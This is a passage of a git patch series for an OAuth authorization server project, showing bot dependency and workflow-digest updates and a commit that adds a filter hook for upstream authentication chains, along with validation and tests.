+github.com/aws/aws-sdk-go-v2/config v1.32.27/go.mod h1:uBfrzTRedDmB2u+b6+UlaKJy2O6VSH5un2jP24t/KvQ= +github.com/aws/aws-sdk-go-v2/credentials v1.19.26 h1:Si8kk1kyJnuJWCEgiwpBtTdtgSdR7i611596NnC0YIQ= +github.com/aws/aws-sdk-go-v2/credentials v1.19.26/go.mod h1:lBckz+W9SAdNtSDw3pYgQUJDJFcBBWry0GSzw+bK0TY= +github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.18.30 h1:/hi1JADLEW9YYryEz1w4GQu0EtP23pP553Cf9KgsDV4= +github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.18.30/go.mod h1:/3AOgy4K17Dm4ucMZVC/MJkzy5kmfKUcINRHZyo0koQ= +github.com/aws/aws-sdk-go-v2/internal/configsources v1.4.30 h1:xM/Is9cKMHa8Jj8zkvWhvrFkZsXJV9E+BB4g0HW0duQ= +github.com/aws/aws-sdk-go-v2/internal/configsources v1.4.30/go.mod h1:WueJeNDZvK1fMYEWJIkcivBfEzUkTpBhzlrUKKY8EuA= +github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.7.30 h1:jn46zC9LdsVR/ZpMIJqMqb8hHv31BlLx3ulVqNspUOk= +github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.7.30/go.mod h1:1hTMsAgbdS/AtUi4bw8+gUuh1pceo+eXRLfpSuSQj3M= +github.com/aws/aws-sdk-go-v2/internal/v4a v1.4.31 h1:3GUprIsfmGcC5SACIyB0e7E0BM1O1b3Erl5CePYIAeQ= +github.com/aws/aws-sdk-go-v2/internal/v4a v1.4.31/go.mod h1:7PuV1yl5e2xnUbm+RqvVg5i2iBM8EyijZNoI9wsOoOc= +github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.13.13 h1:mbRIur/BiHK6SKPjoBIXSE/hJ6g6JGRLuxQy1jGjlN4= +github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.13.13/go.mod h1:ITg9em2KbJx1s0y4aqRX5OYWG6HBZ5TVR//OdpEZ2CQ= +github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.13.30 h1:/Z5jmNrKsSD7EmDjzAPsm/3L9IuOkzaynklJZ1qX7S4= +github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.13.30/go.mod h1:lEzEZnOosE7zi8Z6royW1cFJTD9fpab4Ul1SBrllewk= github.com/aws/aws-sdk-go-v2/service/kms v1.52.0 h1:QNtg+Mtj1zmepk568+UKBD5DFfqh+ESTUUqQT27JkQc= github.com/aws/aws-sdk-go-v2/service/kms v1.52.0/go.mod h1:Y0+uxvxz6ib4KktRdK0V4X45Vcs/JyYoz8H71pO8xeI= -github.com/aws/aws-sdk-go-v2/service/signin v1.2.0 h1:3nXpRcFwRCW8n7HgO2QGy0Dc20eQNfBuUemGQhpF8m8= -github.com/aws/aws-sdk-go-v2/service/signin v1.2.0/go.mod h1:LxYujSTLPRlp2vTtcUO/+1ilrew8ytt6SvQyOgejzFQ= -github.com/aws/aws-sdk-go-v2/service/sso v1.31.3 h1:ey1XLTYXb9PcLt4535632o5kCGXNXEhNb620Dqwuylo= -github.com/aws/aws-sdk-go-v2/service/sso v1.31.3/go.mod h1:Lk7PlmoTYryQmyBG0EXqj5BcUbj3whXdU2s3yGI3EAc= -github.com/aws/aws-sdk-go-v2/service/ssooidc v1.36.6 h1:yLr03zQE/5Eu5l3QU0Si+xMbLMbSDF2YXsigqXngs6g= -github.com/aws/aws-sdk-go-v2/service/ssooidc v1.36.6/go.mod h1:Q5N6icH+KJZDLh+ESNwzdv6cZ6vLFF/egy3IOxWhmz4= -github.com/aws/aws-sdk-go-v2/service/sts v1.43.3 h1:VrIhKRCSK1umelSgB9RghvA9RTUYeQffyAS5ApXehNI= -github.com/aws/aws-sdk-go-v2/service/sts v1.43.3/go.mod h1:r8wkDOuLaaMFqFiYAb8dGY2A3gJCOujMc6CFOVC4Zhc= -github.com/aws/smithy-go v1.27.1 h1:4T340VFndXtADGF52gYa1POyL7s9E4Z1OeZ1hCscIw8= -github.com/aws/smithy-go v1.27.1/go.mod h1:YE2RhdIuDbA5E5bTdciG9KrW3+TiEONeUWCqxX9i1Fc= +github.com/aws/aws-sdk-go-v2/service/signin v1.2.2 h1:69JEZSDTQ+UNbTWQJCZMmbpQb5sfc79KUt0O7Pyfjmo= +github.com/aws/aws-sdk-go-v2/service/signin v1.2.2/go.mod h1:mxC0nT/C8wMMS97DemZPzvUZxvIt+2Iq+eS3JdFZGgg= +github.com/aws/aws-sdk-go-v2/service/sso v1.31.5 h1:xlK3Tdc8FO7Tq1k0+hL+otF33glj+dE+qeM5iINiDvU= +github.com/aws/aws-sdk-go-v2/service/sso v1.31.5/go.mod h1:u8af9Nqkmqnr96f7v9nHqzZT9XBwbXEkTiqT4ROuJSE= +github.com/aws/aws-sdk-go-v2/service/ssooidc v1.36.8 h1:yX1IbiBfC7SdEgDwIGnRaZyPPDRbQPDOJxl8102PcGk= +github.com/aws/aws-sdk-go-v2/service/ssooidc v1.36.8/go.mod h1:DMPWJBjYs6+3+f/qhBFEFPPlQ6NlhWjai3dJNvipJ84= +github.com/aws/aws-sdk-go-v2/service/sts v1.43.5 h1:T3ANO8QWDbzQD8f4+UaX+fvJlyGnOFMKLbW+NGBHg04= +github.com/aws/aws-sdk-go-v2/service/sts v1.43.5/go.mod h1:9gdl4RrflIdpDb2TlXshWgR1F9TeCkvqDx77Vpr4Z/Q= +github.com/aws/smithy-go v1.27.3 h1:F3Zb497UhhskkfpJmfkXswyo+t0sh9OTBnIHjogWbVY= +github.com/aws/smithy-go v1.27.3/go.mod h1:YE2RhdIuDbA5E5bTdciG9KrW3+TiEONeUWCqxX9i1Fc= github.com/aymanbagabas/go-osc52/v2 v2.0.1 h1:HwpRHbFMcZLEVr42D4p7XBqjyuxQH5SMiErDT4WkJ2k= github.com/aymanbagabas/go-osc52/v2 v2.0.1/go.mod h1:uYgXzlJ7ZpABp8OJ+exZzJJhRNQ2ASbcXHWsFqH8hp8= github.com/aymerick/douceur v0.2.0/go.mod h1:wlT5vV2O3h55X9m7iVYN0TBM0NH/MmbLnd30/FjWUq4= From fdca599ca6ed6015cf0888d49c81a4bb097f17f3 Mon Sep 17 00:00:00 2001 From: "renovate[bot]" <29139614+renovate[bot]@users.noreply.github.com> Date: Mon, 6 Jul 2026 10:37:30 +0200 Subject: [PATCH 20/66] Update module github.com/getsentry/sentry-go to v0.47.0 (#5726) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> --- go.mod | 2 +- go.sum | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/go.mod b/go.mod index 0057133f5f..bbed8bba00 100644 --- a/go.mod +++ b/go.mod @@ -147,7 +147,7 @@ require ( github.com/fatih/color v1.18.0 // indirect github.com/fsnotify/fsnotify v1.9.0 // indirect github.com/fxamacker/cbor/v2 v2.9.0 // indirect - github.com/getsentry/sentry-go v0.44.1 + github.com/getsentry/sentry-go v0.47.0 github.com/go-git/gcfg v1.5.1-0.20230307220236-3a3c6141e376 // indirect github.com/go-logr/zapr v1.3.0 // indirect github.com/go-ole/go-ole v1.2.6 // indirect diff --git a/go.sum b/go.sum index bf850c5117..944b60ca71 100644 --- a/go.sum +++ b/go.sum @@ -225,8 +225,8 @@ github.com/fsnotify/fsnotify v1.9.0 h1:2Ml+OJNzbYCTzsxtv8vKSFD9PbJjmhYF14k/jKC7S github.com/fsnotify/fsnotify v1.9.0/go.mod h1:8jBTzvmWwFyi3Pb8djgCCO5IBqzKJ/Jwo8TRcHyHii0= github.com/fxamacker/cbor/v2 v2.9.0 h1:NpKPmjDBgUfBms6tr6JZkTHtfFGcMKsw3eGcmD/sapM= github.com/fxamacker/cbor/v2 v2.9.0/go.mod h1:vM4b+DJCtHn+zz7h3FFp/hDAI9WNWCsZj23V5ytsSxQ= -github.com/getsentry/sentry-go v0.44.1 h1:/cPtrA5qB7uMRrhgSn9TYtcEF36auGP3Y6+ThvD/yaI= -github.com/getsentry/sentry-go v0.44.1/go.mod h1:XDotiNZbgf5U8bPDUAfvcFmOnMQQceESxyKaObSssW0= +github.com/getsentry/sentry-go v0.47.0 h1:AnSMSyrYA5qZCIN/2xpgAAwv63sVULV+vBq37ajouc8= +github.com/getsentry/sentry-go v0.47.0/go.mod h1:h+b4VHpKnK7aUXB5wc+KDnPgp9ZtfliRD4eV85FbiSA= github.com/getsentry/sentry-go/otel v0.44.1 h1:RV2zUHEvGHJmCCpMaJ52tZZAlcbMgvtasQn/g3CcKKc= github.com/getsentry/sentry-go/otel v0.44.1/go.mod h1:CfzTxocQJ6JX4SLFvnBrGULBAARFAd1fHmbJCTQlOP4= github.com/gkampitakis/ciinfo v0.3.2 h1:JcuOPk8ZU7nZQjdUhctuhQofk7BGHuIy0c9Ez8BNhXs= From 95941ccead9d7936fd89591987a4fec4b7b0fd2e Mon Sep 17 00:00:00 2001 From: "renovate[bot]" <29139614+renovate[bot]@users.noreply.github.com> Date: Mon, 6 Jul 2026 10:39:11 +0200 Subject: [PATCH 21/66] Update goreleaser/goreleaser-action digest to f06c13b (#5720) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> --- .github/workflows/releaser.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/releaser.yml b/.github/workflows/releaser.yml index f6f6d3a262..cb674b7966 100644 --- a/.github/workflows/releaser.yml +++ b/.github/workflows/releaser.yml @@ -195,7 +195,7 @@ jobs: - name: Run GoReleaser id: run-goreleaser - uses: goreleaser/goreleaser-action@5daf1e915a5f0af01ddbcd89a43b8061ff4f1a89 # v7 + uses: goreleaser/goreleaser-action@f06c13b6b1a9625abc9e6e439d9c05a8f2190e94 # v7 with: distribution: goreleaser version: "~> v2" From 69826e94fa9fcc4fcb9db32835fc05b237c400d2 Mon Sep 17 00:00:00 2001 From: "renovate[bot]" <29139614+renovate[bot]@users.noreply.github.com> Date: Mon, 6 Jul 2026 10:59:21 +0200 Subject: [PATCH 22/66] Update github/codeql-action digest to 54f647b (#5719) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> --- .github/workflows/security-scan.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/security-scan.yml b/.github/workflows/security-scan.yml index 97aaf25fa5..4659618a66 100644 --- a/.github/workflows/security-scan.yml +++ b/.github/workflows/security-scan.yml @@ -32,7 +32,7 @@ jobs: fail-build: false - name: Upload Grype scan results to GitHub Security tab - uses: github/codeql-action/upload-sarif@8aad20d150bbac5944a9f9d289da16a4b0d87c1e # v4 + uses: github/codeql-action/upload-sarif@54f647b7e1bb85c95cddabcd46b0c578ec92bc1a # v4 if: always() with: sarif_file: ${{ steps.grype-scan.outputs.sarif }} From d27d85aed7383f00fd6058807750b2a0fc97ed4e Mon Sep 17 00:00:00 2001 From: "renovate[bot]" <29139614+renovate[bot]@users.noreply.github.com> Date: Mon, 6 Jul 2026 14:52:10 +0200 Subject: [PATCH 23/66] Update module github.com/stacklok/toolhive-catalog to v0.20260706.0 (#5728) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> --- go.mod | 4 ++-- go.sum | 8 ++++---- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/go.mod b/go.mod index bbed8bba00..82d46d714b 100644 --- a/go.mod +++ b/go.mod @@ -32,7 +32,7 @@ require ( github.com/google/uuid v1.6.0 github.com/lestrrat-go/httprc/v3 v3.0.6 github.com/lestrrat-go/jwx/v3 v3.0.13 - github.com/mark3labs/mcp-go v0.55.0 + github.com/mark3labs/mcp-go v0.55.1 github.com/moby/moby/client v0.4.1 github.com/modelcontextprotocol/registry v1.7.9 github.com/oauth2-proxy/mockoidc v0.0.0-20240214162133-caebfff84d25 @@ -47,7 +47,7 @@ require ( github.com/redis/go-redis/v9 v9.21.0 github.com/shirou/gopsutil/v4 v4.26.5 github.com/spf13/viper v1.21.0 - github.com/stacklok/toolhive-catalog v0.20260629.0 + github.com/stacklok/toolhive-catalog v0.20260706.0 github.com/stacklok/toolhive-core v0.0.26 github.com/stretchr/testify v1.11.1 github.com/swaggo/swag/v2 v2.0.0-rc5 diff --git a/go.sum b/go.sum index 944b60ca71..2af1a31543 100644 --- a/go.sum +++ b/go.sum @@ -550,8 +550,8 @@ github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0/go.mod h1:zJYVVT2 github.com/luna-duclos/instrumentedsql v1.1.3/go.mod h1:9J1njvFds+zN7y85EDhN9XNQLANWwZt2ULeIC8yMNYs= github.com/magiconair/properties v1.8.10 h1:s31yESBquKXCV9a/ScB3ESkOjUYYv+X0rg8SYxI99mE= github.com/magiconair/properties v1.8.10/go.mod h1:Dhd985XPs7jluiymwWYZ0G4Z61jb3vdS329zhj2hYo0= -github.com/mark3labs/mcp-go v0.55.0 h1:lJfz2aoctiwK+sI991+uIYwmKNIBciI+O7zsyDsa4U8= -github.com/mark3labs/mcp-go v0.55.0/go.mod h1:+8WclSK1ZUweCP3hvktSji8n8ABG/95QaEkeVE/Uwas= +github.com/mark3labs/mcp-go v0.55.1 h1:GLYqNm9qdMGPhCtK4g1t1y1vhAPfayOBuaibDi4mrSA= +github.com/mark3labs/mcp-go v0.55.1/go.mod h1:+8WclSK1ZUweCP3hvktSji8n8ABG/95QaEkeVE/Uwas= github.com/maruel/natural v1.1.1 h1:Hja7XhhmvEFhcByqDoHz9QZbkWey+COd9xWfCfn1ioo= github.com/maruel/natural v1.1.1/go.mod h1:v+Rfd79xlw1AgVBjbO0BEQmptqb5HvL/k9GRHB7ZKEg= github.com/mattn/go-colorable v0.1.1/go.mod h1:FuOcm+DKB9mbwrcAfNl7/TZVBZ6rcnceauSikq3lYCQ= @@ -787,8 +787,8 @@ github.com/spf13/pflag v1.0.10 h1:4EBh2KAYBwaONj6b2Ye1GiHfwjqyROoF4RwYO+vPwFk= github.com/spf13/pflag v1.0.10/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= github.com/spf13/viper v1.21.0 h1:x5S+0EU27Lbphp4UKm1C+1oQO+rKx36vfCoaVebLFSU= github.com/spf13/viper v1.21.0/go.mod h1:P0lhsswPGWD/1lZJ9ny3fYnVqxiegrlNrEmgLjbTCAY= -github.com/stacklok/toolhive-catalog v0.20260629.0 h1:T4r2xpVf0sGjUz7D9m52LUPFu47ALbRq/q5mRF4N8dk= -github.com/stacklok/toolhive-catalog v0.20260629.0/go.mod h1:93zeSpGY1E/yT15yRdRrxU/tN8TCjAZ+J15NfU3TMpk= +github.com/stacklok/toolhive-catalog v0.20260706.0 h1:ZgEtTogdPjl2Tc/zamYExRH609HDJxS+EbxgdjmMH/w= +github.com/stacklok/toolhive-catalog v0.20260706.0/go.mod h1:J+l8hyYSbIhLCe3IsBJuVpP1wQbsuUXRS5o+B9M0GpU= github.com/stacklok/toolhive-core v0.0.26 h1:aWpwECt1A0Cq3ZL3rMG1mmibALcmVWg07oiNTqSESQk= github.com/stacklok/toolhive-core v0.0.26/go.mod h1:w0CkwJEIwlyK9ht/zNfRxA5kY6J3dbJr8v2CSu7M1hE= github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= From 609c0ad2f6bce7a81c9b306d5efb858c4e45e788 Mon Sep 17 00:00:00 2001 From: Trey Date: Mon, 6 Jul 2026 11:48:33 -0700 Subject: [PATCH 24/66] Filter upstream auth chain via callback hook (#5725) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * Filter upstream auth chain via callback hook The embedded OAuth authorization server walks every configured upstream on every authorization, prompting for and storing tokens that a given authorization may not need. This widens the stored-token surface and forces needless upstream prompts. Add an optional UpstreamFilter hook (WithUpstreamFilter), consulted once in the callback handler after the first upstream resolves, that narrows the remaining chain to a subset of the configured upstreams: - The first upstream is always required and is never passed to nor removable by the filter. - The kept set is computed once and carried in PendingAuthorization (ChainUpstreams) so the filter is not re-run per leg. - nextMissingUpstream and the cross-leg identity check now operate on the effective chain rather than the raw config. - A filter error fails the authorization with a server error; it never silently falls back to walking every upstream. With no filter configured, behaviour is unchanged: the handler walks all configured upstreams as before. SingleLeg flows are unaffected and the upstream-token storage key contracts are unchanged. Co-Authored-By: Claude Opus 4.8 * Harden upstream chain resolution per review Addresses stacklok/toolhive#5725 review comments: - MEDIUM callback.go (3525733910): distinguish a true first leg (ResolvedUserID == "") from a subsequent leg; reject a subsequent-leg pending that lacks a computed chain instead of recomputing the filter against the wrong leg's request context. - MEDIUM callback.go (3525733913): validate a chain loaded from storage (non-empty, leads with the first configured upstream, names only configured upstreams) so a tampered PendingAuthorization row cannot shrink the chain and disable the cross-leg identity check. - MEDIUM callback.go (3525733916): restore discrete expected/got/provider slog fields on the identity-mismatch check after the verifyChainIdentity extraction, so log pipelines can still alert on it. - MEDIUM redis_test.go (3525733919): add a backward-compatibility test that loads a legacy pending JSON lacking chain_upstreams and asserts an empty ChainUpstreams. Also expands the UpstreamFilter doc comment (first-leg-context guarantee across rolling upgrades, WithPlatformUser in ctx) and updates existing chain tests to carry ChainUpstreams on subsequent legs. Co-Authored-By: Claude Opus 4.8 * Expose first-upstream identity to chain filter A useful upstream filter needs to key its narrowing decision on who authenticated — the subject and the authorization-relevant claims from the first upstream — not just on request context. Widen the hook to receive that identity explicitly. - FilterUpstreams now takes the canonical platform user ID and the resolved auth.PrincipalInfo (claim-mapped Subject, Name, Email, and the Claims map used by authz policies) alongside the configured upstreams. The principal is passed as an explicit parameter, not via context: the callback deliberately avoids placing a bearer-less Identity in ctx. - Capture the upstream claims that previously had nowhere to live: add Claims to upstream.Identity, populated from the validated ID token (OIDC) and the userinfo response (OAuth2). identityFromToken and synthetic OAuth2 resolve no structured claim set and leave it nil. - The callback builds the principal from the first leg's resolved identity and threads it through continueChainOrComplete -> resolveChain -> computeChain to the filter. Tests: an OIDC provider integration test (real provider + mock IdP) asserting ID-token claims are captured into the resolved Identity, and a callback integration test asserting the first upstream's subject and claims reach FilterUpstreams. Co-Authored-By: Claude Opus 4.8 * Add callback/chain integration tests for auth server The embedded auth server integration suite stopped at the first-leg redirect and never exercised the /oauth/callback or multi-upstream chain traversal. Add coverage that drives the callback end to end against the real embedded server and mock upstream IDPs: - Single upstream: authorize -> callback -> the chain completes at the sole upstream and issues the authorization code to the client. - Multi-upstream: the first callback continues the chain to the second upstream, and the second completes it and issues the code. Adds a WithUpstreams helper option, an OAuth2 upstream builder, and a Callback client method to support driving the flow. Co-Authored-By: Claude Opus 4.8 * Tighten chain validation and clarify filter docs Addresses stacklok/toolhive#5725 review comments: - MEDIUM handler.go (3528199173): validateChain now enforces an in-order, duplicate-free subsequence of the configured upstreams (config-cursor walk), so a tampered pending row cannot shrink/reorder the chain to skip legs (e.g. ["provider-1"] or ["provider-1","provider-1"]) and slip past the single-element identity-check no-op. Adds a TestValidateChain table covering wrong-first / unconfigured / out-of-order / duplicate. - MEDIUM handler.go (body): NewHandler rejects duplicate upstream names — the name invariant is now load-bearing (chain keyed by name; tokens and upstreamByName key by name). Adds a constructor test. - LOW handler.go (3528199199): document the Claims contract — values are untyped (assert defensively, never panic), nil is possible on a transient OIDC extraction failure (treat as fail-closed), and aud is the upstream's client_id, not this AS. - LOW callback.go (3528199204): reword verifyChainIdentity to match scope — it reconciles only the first leg; intermediate legs are intentionally not identity-checked. Co-Authored-By: Claude Opus 4.8 * Drop redundant platformUserID param from UpstreamFilter The canonical user is already carried as principal.PlatformUserID, so the separate platformUserID argument to FilterUpstreams was redundant. Remove it and have consumers read principal.PlatformUserID; update the doc, the stub filter, and the tests accordingly. Co-Authored-By: Claude Opus 4.8 --------- Co-authored-by: Claude Opus 4.8 --- .../server/handlers/authorize_test.go | 18 ++ pkg/authserver/server/handlers/callback.go | 117 +++++-- .../server/handlers/callback_test.go | 305 ++++++++++++++++++ pkg/authserver/server/handlers/handler.go | 213 +++++++++++- .../server/handlers/handler_chain_test.go | 229 ++++++++++++- pkg/authserver/storage/memory.go | 2 + pkg/authserver/storage/memory_test.go | 4 +- pkg/authserver/storage/redis.go | 3 + pkg/authserver/storage/redis_test.go | 40 ++- pkg/authserver/storage/types.go | 10 + pkg/authserver/upstream/oauth2.go | 1 + pkg/authserver/upstream/oidc.go | 11 + pkg/authserver/upstream/oidc_test.go | 48 +++ pkg/authserver/upstream/types.go | 12 + .../authserver/authserver_integration_test.go | 168 ++++++++++ .../authserver/helpers/authserver.go | 25 ++ .../authserver/helpers/http_client.go | 9 + 17 files changed, 1173 insertions(+), 42 deletions(-) diff --git a/pkg/authserver/server/handlers/authorize_test.go b/pkg/authserver/server/handlers/authorize_test.go index d8dab8df79..14415e6c81 100644 --- a/pkg/authserver/server/handlers/authorize_test.go +++ b/pkg/authserver/server/handlers/authorize_test.go @@ -185,6 +185,24 @@ func TestNewHandler_ErrorsOnNilConfig(t *testing.T) { "NewHandler should error when AuthorizationServerConfig.Config is nil") } +// TestNewHandler_ErrorsOnDuplicateUpstreamNames pins that the constructor rejects +// duplicate upstream names. Names must be unique: upstreamByName returns the first +// match, tokens are keyed by name, and the authorization chain is keyed by name, so +// a duplicate would silently shadow a provider. +func TestNewHandler_ErrorsOnDuplicateUpstreamNames(t *testing.T) { + t.Parallel() + + _, oauth2Config, stor, _ := baseTestSetup(t) + upstreams := []NamedUpstream{ + {Name: "dup", Provider: &mockIDPProvider{}}, + {Name: "dup", Provider: &mockIDPProvider{}}, + } + + _, err := NewHandler(nil, oauth2Config, stor, upstreams) + require.Error(t, err, "NewHandler should reject duplicate upstream names") + assert.ErrorContains(t, err, "duplicate upstream name") +} + func TestAuthorizeHandler_RedirectsToUpstream(t *testing.T) { t.Parallel() handler, storState, mockUpstream := handlerTestSetup(t) diff --git a/pkg/authserver/server/handlers/callback.go b/pkg/authserver/server/handlers/callback.go index 55cf24d875..7f7114c33b 100644 --- a/pkg/authserver/server/handlers/callback.go +++ b/pkg/authserver/server/handlers/callback.go @@ -180,7 +180,20 @@ func (h *Handler) CallbackHandler(w http.ResponseWriter, req *http.Request) { return } - h.continueChainOrComplete(ctx, w, req, ar, pending, sessionID, subject, userName, userEmail) + // Build the credential-free principal for the optional upstream filter, keyed on + // the identity the first leg just established. providerSubject is the claim-mapped + // upstream subject; subject is the canonical ToolHive user ID. On subsequent legs + // the filter is not consulted, so this only drives filtering for upstreams[0]. + // result.Claims carries the ID-token/userinfo claims (nil for synthetic upstreams). + principal := auth.PrincipalInfo{ + Subject: providerSubject, + PlatformUserID: subject, + Name: userName, + Email: userEmail, + Claims: result.Claims, + } + + h.continueChainOrComplete(ctx, w, req, ar, pending, sessionID, principal) } // maybeCarryForwardRefreshToken preserves a prior refresh token when the upstream IdP @@ -409,10 +422,15 @@ func (h *Handler) continueChainOrComplete( ar fosite.AuthorizeRequester, pending *storage.PendingAuthorization, sessionID string, - subject string, - name string, - email string, + principal auth.PrincipalInfo, ) { + // subject is the canonical ToolHive user ID used for chain state, token keying, + // and the cross-leg identity check. Note this is principal.PlatformUserID, NOT + // principal.Subject (which is the upstream provider's subject). + subject := principal.PlatformUserID + name := principal.Name + email := principal.Email + // SingleLeg authorizations intentionally bypass chain continuation: the caller // scoped this flow to one specific upstream (e.g. a UI-initiated "connect one // backend" request), so other configured-but-tokenless upstreams must not @@ -433,7 +451,20 @@ func (h *Handler) continueChainOrComplete( return } - nextProvider, err := h.nextMissingUpstream(ctx, sessionID) + // Resolve the effective chain of upstreams to walk. The first leg computes it + // (consulting the optional filter with this leg's request context); every + // subsequent leg reuses the validated chain the first leg carried forward, so + // the filter is not re-run per leg. A subsequent leg whose pending predates the + // chain is rejected rather than recomputed against a later leg's context. + chain, err := h.resolveChain(ctx, pending, principal) + if err != nil { + slog.Error("failed to resolve upstream chain", "error", err) + _ = h.storage.DeleteUpstreamTokens(ctx, sessionID) + h.provider.WriteAuthorizeError(ctx, w, ar, fosite.ErrServerError.WithHint("failed to determine authorization chain")) + return + } + + nextProvider, err := h.nextMissingUpstream(ctx, sessionID, chain) if err != nil { slog.Error("failed to determine next upstream", "error", err) _ = h.storage.DeleteUpstreamTokens(ctx, sessionID) @@ -442,28 +473,12 @@ func (h *Handler) continueChainOrComplete( } if nextProvider == "" { - // Defense-in-depth: verify identity consistency across chain legs. - // The subject was resolved from the first leg's upstream and carried through - // PendingAuthorization. Cross-check it against the stored upstream tokens. - if len(h.upstreams) > 1 { - allTokens, err := h.storage.GetAllUpstreamTokens(ctx, sessionID) - if err != nil { - slog.Error("failed to verify identity consistency", "error", err) - _ = h.storage.DeleteUpstreamTokens(ctx, sessionID) - h.provider.WriteAuthorizeError(ctx, w, ar, fosite.ErrServerError.WithHint("failed to verify identity consistency")) - return - } - firstProvider := h.upstreams[0].Name - if firstTokens, ok := allTokens[firstProvider]; ok && firstTokens.UserID != subject { - slog.Error("identity mismatch between chain state and stored tokens", - "expected", subject, - "got", firstTokens.UserID, - "provider", firstProvider, - ) - _ = h.storage.DeleteUpstreamTokens(ctx, sessionID) - h.provider.WriteAuthorizeError(ctx, w, ar, fosite.ErrServerError.WithHint("identity verification failed")) - return - } + if err := h.verifyChainIdentity(ctx, sessionID, chain, subject); err != nil { + // verifyChainIdentity already logged the specific cause (with structured + // fields for a mismatch); here we just clean up and fail closed. + _ = h.storage.DeleteUpstreamTokens(ctx, sessionID) + h.provider.WriteAuthorizeError(ctx, w, ar, fosite.ErrServerError.WithHint("identity verification failed")) + return } // All upstreams satisfied — issue authorization code @@ -495,6 +510,9 @@ func (h *Handler) continueChainOrComplete( // Chain state UpstreamProviderName: nextProvider, SessionID: sessionID, + // Carry the effective chain forward so the filter is computed once, on the + // first leg, and reused for every subsequent leg. + ChainUpstreams: chain, // Carry resolved identity from first leg ResolvedUserID: subject, ResolvedUserName: name, @@ -533,3 +551,48 @@ func (h *Handler) continueChainOrComplete( http.Redirect(w, req, nextURL, http.StatusFound) } + +// verifyChainIdentity is a defense-in-depth check run once every leg of the +// effective chain is satisfied. Despite the "chain" framing, it reconciles only +// the first leg: it confirms the identity provider's stored token (chain[0]) still +// belongs to the subject carried through the flow. Intermediate/later legs are +// deliberately NOT identity-checked — those are connect-this-backend flows whose +// upstream identity can legitimately differ from the first leg's user. +// +// subject MUST be the canonical ToolHive user ID resolved from the first leg's +// upstream via that provider's configured subject-claim mapping (the OIDC +// SubjectClaim, or the "sub" claim by default) and carried forward unchanged +// through PendingAuthorization.ResolvedUserID. The caller resolves it exactly once, +// on the first leg, from the claim-mapped upstream subject. This cross-checks it +// against firstTokens.UserID — the same canonical ID persisted when the first leg +// stored its tokens — so a first leg whose stored user disagrees with the carried +// subject is rejected. +// +// It gates on the effective chain rather than the raw config: chain[0] is always +// the first (required) upstream, so a chain the filter narrowed to just that +// upstream has no first-leg cross-check to run and the check is a no-op. Returns a +// non-nil error when the storage lookup fails or an identity mismatch is detected; +// the caller maps either to a server error. +func (h *Handler) verifyChainIdentity(ctx context.Context, sessionID string, chain []string, subject string) error { + if len(chain) <= 1 { + return nil + } + allTokens, err := h.storage.GetAllUpstreamTokens(ctx, sessionID) + if err != nil { + slog.Error("failed to load upstream tokens for chain identity check", "error", err) + return fmt.Errorf("failed to load upstream tokens for identity check: %w", err) + } + firstProvider := chain[0] + if firstTokens, ok := allTokens[firstProvider]; ok && firstTokens.UserID != subject { + // Emit the mismatch as discrete slog fields — not folded into the returned + // error string — so log pipelines can filter/alert on this defense-in-depth + // check, matching the logging from before this check was extracted here. + slog.Error("identity mismatch between chain state and stored tokens", + "expected", subject, + "got", firstTokens.UserID, + "provider", firstProvider, + ) + return fmt.Errorf("identity mismatch on provider %q", firstProvider) + } + return nil +} diff --git a/pkg/authserver/server/handlers/callback_test.go b/pkg/authserver/server/handlers/callback_test.go index 484db3fded..4d5173f3b6 100644 --- a/pkg/authserver/server/handlers/callback_test.go +++ b/pkg/authserver/server/handlers/callback_test.go @@ -481,6 +481,7 @@ func TestCallbackHandler_TwoUpstreams_SecondLeg_IssuesCode(t *testing.T) { UpstreamNonce: "second-leg-nonce", UpstreamProviderName: "provider-2", SessionID: sessionID, + ChainUpstreams: []string{"provider-1", "provider-2"}, ResolvedUserID: "resolved-user-id-from-leg1", ResolvedUserName: "First Leg User", ResolvedUserEmail: "firstleg@example.com", @@ -515,6 +516,305 @@ func TestCallbackHandler_TwoUpstreams_SecondLeg_IssuesCode(t *testing.T) { assert.False(t, ok, "second leg pending should be consumed") } +func TestCallbackHandler_TwoUpstreams_FilterDropsSecondLeg_IssuesCode(t *testing.T) { + t.Parallel() + // Filter keeps nothing, so the chain narrows to just the first upstream. + filter := &stubUpstreamFilter{keep: []string{}} + handler, storState, provider1, _ := multiUpstreamTestSetup(t, WithUpstreamFilter(filter)) + + sessionID := "chain-session-filter-drop" + firstLegState := "filter-drop-first-leg-state" + pending := &storage.PendingAuthorization{ + ClientID: testAuthClientID, + RedirectURI: testAuthRedirectURI, + State: "client-state-drop", + PKCEChallenge: "client-challenge", + PKCEMethod: "S256", + Scopes: []string{"openid", "profile"}, + InternalState: firstLegState, + UpstreamPKCEVerifier: "filter-drop-verifier-1234567890123456789012", + UpstreamNonce: "filter-drop-nonce", + UpstreamProviderName: "provider-1", + SessionID: sessionID, + CreatedAt: time.Now(), + } + storState.pendingAuths[firstLegState] = pending + + req := httptest.NewRequest(http.MethodGet, "/oauth/callback?code=provider1-code&state="+firstLegState, nil) + rec := httptest.NewRecorder() + handler.CallbackHandler(rec, req) + + // The filtered-out second leg means the chain completes at the first upstream: + // issue the authorization code (303) rather than redirect onward 